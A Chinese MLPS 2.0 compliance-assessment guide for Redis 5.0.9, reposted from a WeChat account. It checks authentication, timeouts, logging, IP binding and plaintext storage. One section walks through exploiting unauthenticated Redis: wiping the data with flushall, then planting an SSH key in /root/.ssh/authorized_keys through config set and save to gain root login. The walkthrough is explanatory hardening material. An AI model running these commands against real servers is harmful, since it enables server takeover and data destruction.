等保2.0测评 — Redis 数据库

admin 2023年12月26日13:23:57评论17 views字数 3202阅读10分40秒阅读模式

知识宝库在此藏,一键关注获宝藏

注:本文实验版本均为 Redis 5.0.9,相应的安全配置仅供参考,版本不同配置可能有所差别
查看数据库版本:
1) 服务器本地:
redis-server -v
redis-server --version
等保2.0测评 — Redis 数据库
2) 登录到数据库内查询
info
等保2.0测评 — Redis 数据库

一、身份鉴别

a)应对登录的用户进行身份标识和鉴别,身份标识具有唯一性,身份鉴别信息具有复杂度要求并定期更换

1.  身份标识和鉴别

默认情况下redis数据库是无口令直接登录的
redis-cli
等保2.0测评 — Redis 数据库
此时查看redis配置文件,一般为redis.conf,在redis主目录下
查看requirepass参数是否不为注释状态,后面跟着的字符串即为登录口令

等保2.0测评 — Redis 数据库

若用户设置过口令,则会提示
等保2.0测评 — Redis 数据库

该版本没有用户的概念,只能加一个口令验证

2.  身份鉴别信息具有复杂度并定期更换

该版本无强制密码策略,查看redis.conf 文件,确认当前口令复杂度

● 扩展学习

1.  Redis 数据库开启口令验证

1) 通过配置文件进行配置
在 redis.conf 中找到 requirepass foobared参数
等保2.0测评 — Redis 数据库
foobared 改成相应密码即可,然后重启数据库

等保2.0测评 — Redis 数据库

再尝试登录,此时可以连接,但无法执行一些相关命令

等保2.0测评 — Redis 数据库
然后使用auth password 命令进行登录即可

等保2.0测评 — Redis 数据库

或者使用 redis-cli -h 127.0.0.1 -p 6379 -a "mypass" 进行登录(不建议使用,口令会被记录在history中)登录后也进行了提醒,这是不安全的

等保2.0测评 — Redis 数据库

2) 通过命令行配置
config set requirepass 123456
config get requirepass

等保2.0测评 — Redis 数据库

然后尝试配置文件中配置的老密码登录redis,会发现原来的不可用,被拒绝

等保2.0测评 — Redis 数据库

再重启redis后,将会引用配置文件中的口令

2.  Redis未授权访问漏洞

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录服务器,可导致服务器权限被获取和删除、泄漏或加密勒索事件发生。
默认情况下,redis数据库为空口令,若是未通过bind 进行地址限制并protected-mode 为no时,我们连接后可以获取一些敏感数据。
我们可以查询到Redis的版本和服务器上内核版本信息,还可以看到Redis配置文件的绝对路径
等保2.0测评 — Redis 数据库
2.1 删除数据
flushall 删除所有数据
等保2.0测评 — Redis 数据库
2.2 写入ssh公钥,获取操作系统权限
将公钥导入key.txt文件(前后用n换行,避免和Redis里的其他缓存数据混合)
(echo -e "nn";cat id_rsa_2048.pub;echo -e "nn") > key.txt
等保2.0测评 — Redis 数据库
再把key.txt文件内容写入目标主机的缓冲里:
cat /root/.ssh/key.txt | redis-cli -h 172.17.200.19 -x set denglu
等保2.0测评 — Redis 数据库
然后连接目标主机的Redis,然后设置Redis的备份路径为/root/.ssh然后保存的文件名为authorized_keys
config set dir /root/.ssh
config set dbfilename authorized_keys
等保2.0测评 — Redis 数据库
将数据保存在服务器硬盘上(之前缓存里的数据key.txt)
save
等保2.0测评 — Redis 数据库
这时候使用私钥ssh远程连接目标服务器
等保2.0测评 — Redis 数据库
发现可直接连接上服务器
等保2.0测评 — Redis 数据库
这里我们再看看那台redis服务器上被写入了什么内容
等保2.0测评 — Redis 数据库
authorized_keys 文件里可看到redis的版本号,我们写入的公钥和一些缓冲的乱码

还可以利用redis写计划任务等等,所以这玩意如果以高权限启动,在系统中有一定的读写权限,是十分危险的,所以一定要设置复杂口令

b)应具有登录失败处理功能,应配置并启用结束会话、限制非法登录次数和当登录连接超时自动退出等相关措施

1.  登录失败处理功能

自带无登录失败处理功能

2.  超时自动退出

查看redis配置文件,一般为redis.conf,在redis主目录下
查看timeout 的值,默认为0永不退出
等保2.0测评 — Redis 数据库
120秒退出后要求重新进行身份鉴别

等保2.0测评 — Redis 数据库

c)当进行远程管理时,应采取必要措施防止鉴别信息在网络传输过程中被窃听

默认情况下,抓包出来是明文传输的

等保2.0测评 — Redis 数据库

等保2.0测评 — Redis 数据库

如有其他措施,建议询问专业人员是如何做的

d)应采用口令、密码技术、生物技术等两种或两种以上组合的鉴别技术对用户进行身份鉴别,且其中一种鉴别技术至少应使用密码技术来实现

现场核查,一般仅通过口令进行身份鉴别。

二、访问控制

redis 5.0.9版本无账户概念,仅通过口令进行身份验证,拥有所有权限。所以如果要测评的话,该版本的redis该点全部不符合。6.0后的redis新增了ACL机制,有兴趣的可自行研究。(主要目前测评redis的不多,一测全是不符合问题,所以之后版本笔者暂未进行实验,目前无相应实验数据,后续有机会接触再进行更新。

三、安全审计

a)应启用安全审计功能,审计覆盖到每个用户,对重要的用户行为和重要安全事件进行审计/

查看redis配置文件,一般为redis.conf,在redis主目录下
查看loglevel、logfile参数,我安装的该版本默认情况下:
等保2.0测评 — Redis 数据库
redis支持通过loglevel配置项设置日志等级,共分四级,即debug、verbose、notice、warning
redis也支持通过logfile配置项来设置日志文件的生成位置。如果设置为空字符串,则redis会将日志输出到标准输出,日志将会发送给/dev/null
这里我们配置一下,将日志输出到如下文件中。

等保2.0测评 — Redis 数据库

等保2.0测评 — Redis 数据库

b)审计记录应包括事件的日期和时间、用户、事件类型、事件是否成功及其他与审计相关的信息

默认符合,日志时间追随系统时间

等保2.0测评 — Redis 数据库

c)应对审计记录进行保护,定期备份,避免受到未预期的删除、修改或覆盖等

存储在操作系统上的日志文件权限,不得超过644,默认不删应该永久保存

等保2.0测评 — Redis 数据库

询问管理人员是否对日志进行备份,日志留存时间是否达到6个月以上

d)应对审计进程进行保护,防止未经授权的中断

无法中断日志文件输出,但是可以修改日志记录等级
等保2.0测评 — Redis 数据库

四、入侵防范

a)应遵循最小安装的原则,仅安装需要的组件和应用程序

不适用。

b)应关闭不需要的系统服务、默认共享和高危端口

不适用。

c)应通过设定终端接入方式或网络地址范围对通过网络进行管理的管理终端进行限制

redis.conf 配置文件中找到如下配置:

等保2.0测评 — Redis 数据库

注释情况下为任意IP访问,可设置指定 IP,以空格分割

d)应提供数据有效性检验功能,保证通过人机接口输入或通过通信接口输入的内容符合系统设定要求

不适用。

e)应能发现可能存在的已知漏洞,并在经过充分测试评估后,及时修补漏洞

结合漏洞扫描、渗透测试报告确认是否存在相应漏洞,以及在发现漏洞后是否及时修补,有无更新测试记录

f)应能够检测到对重要节点进行入侵的行为,并在发生严重入侵事件时提供报警

不适用。

五、数据完整性

a)应采用校验技术或密码技术保证重要数据在传输过程中的完整性,包括但不限于鉴别数据、重要业务数据、重要审计数据、重要配置数据、重要视频数据和重要个人信息等

传输过程中默认无完整性保护措施

b)应采用校验技术或密码技术保证重要数据在存储过程中的完整性,包括但不限于鉴别数据、重要业务数据、重要审计数据、重要配置数据、重要视频数据和重要个人信息等

默认不符合,需要有比对机制。网络安全基础技术扫盲篇 — 名词解释之"完整性"

六、数据保密性

a)应采用密码技术保证重要数据在传输过程中的保密性,包括但不限于鉴别数据、重要业务数据和重要个人信息等

鉴别数据明文传输

b)应采用密码技术保证重要数据在存储过程中的保密性,包括但不限于鉴别数据、重要业务数据和重要个人信息等

鉴别数据明文存储在redis配置文件中
等保2.0测评 — Redis 数据库

原文始发于微信公众号(等保不好做啊):等保2.0测评 — Redis 数据库

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月26日13:23:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   等保2.0测评 — Redis 数据库http://cn-sec.com/archives/2335829.html

发表评论

匿名网友 填写信息